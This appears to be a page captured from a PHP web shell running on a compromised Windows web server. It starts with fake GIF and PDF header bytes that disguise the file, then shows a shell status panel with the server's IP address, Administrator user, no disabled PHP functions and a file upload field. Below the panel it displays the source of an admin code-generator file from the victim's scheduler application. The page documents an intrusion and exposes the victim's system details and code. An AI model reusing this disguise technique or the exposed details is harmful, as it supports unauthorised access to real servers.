GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Scheduler/admin/_info/form/ |
Upload File : |
<? // admin/_info/form/infoForm_Code_AddEditFormProcess.phpinc // Display the process code. t_Begin(); // Begin TRACKing included file. $DEBUG_info = false; $codeOutput = " <? // directory_path/".$f['filenameBase']."_FormProcess.phpinc // Process the ".basename($f['filenameBase'])." form. t_Begin(); if ( \$f['uuid'] != \$_SESSION['uuid'] ) { // Not a page reload."; #d_Var('count($tablePrimaryKey)',count($tablePrimaryKey)); if ( is_array($tablePrimaryKey) && count($tablePrimaryKey) ) { $id_prefix = ''; $codeOutput .= ' if ( '; foreach ( $tablePrimaryKey as $thisIdField ) { $codeOutput .= $id_prefix.'$f[\''.$thisIdField.'\']'; $id_prefix = ' && '; } $codeOutput .= ' ) {'; $indent = ' '; } else { $indent = ' '; } $codeOutput .= ' '.$indent.'// UPDATE '.$f['table'].'.'; $query = ''; $prefix = ''; require('admin/_info/query/infoUPDATEquery.phpinc'); $codeOutput .= ' '.$query; $codeOutput .= $indent.'displayMessage(\''.ucwords($f['table']).' \'.$f[\''.$orderBy.'\'].\' updated.\'); '; $codeOutput .= ' } else {'; $codeOutput .= ' '.$indent.'// INSERT '.$f['table'].'.'; $query = ''; $prefix = ''; require('admin/_info/query/infoINSERTquery.phpinc'); $codeOutput .= ' '.$query; $codeOutput .= $indent.'displayMessage(\''.ucwords($f['table']).' \'.$f[\''.$orderBy.'\'].\' added.\'); '; $codeOutput .= ' } // Remember that the form was processed. $_SESSION[\'uuid\'] = $f[\'uuid\'];'; $codeOutput .= ' } else { // Page was reloaded. displayMessage(\'Page reloaded.\',\'warn\');'; $codeOutput .= " } t_End(); ?> "; // form_process_code. if ( !isset($f['form_process_code_value']) ) $f['form_process_code_value'] = 0; ?> <a name="form_process_code_name"></a> <input type="hidden" name="form_process_code_value" id="form_process_code_value_id" value="<?=$f['form_process_code_value']?>"> <table><tr><td><fieldset><legend><a href="#form_process_code_name" name="form_process_code" onClick="return info_Set(this);"><div id="form_process_code_status" class="inline"><? if ( !$f['form_process_code_value']) { ?>+<? } else { ?>-<? } ?></div> <?=$f['filenameBase']?>FormProcess code</a><input type="submit" name="subtask" value="Reload page" onClick="info_gotoName(this,'form_process_code_name');"></legend> <div id="form_process_code_show" class="<? if ( !$f['form_process_code_value']) { ?>d_s_h <? } ?>d_s_l"> <textarea class="code_info" wrap="off"><?=htmlSafe(trim($codeOutput))."\n"?></textarea> </div> </fieldset></td></tr></table> <? t_End(); // End TRACKing included file. ?>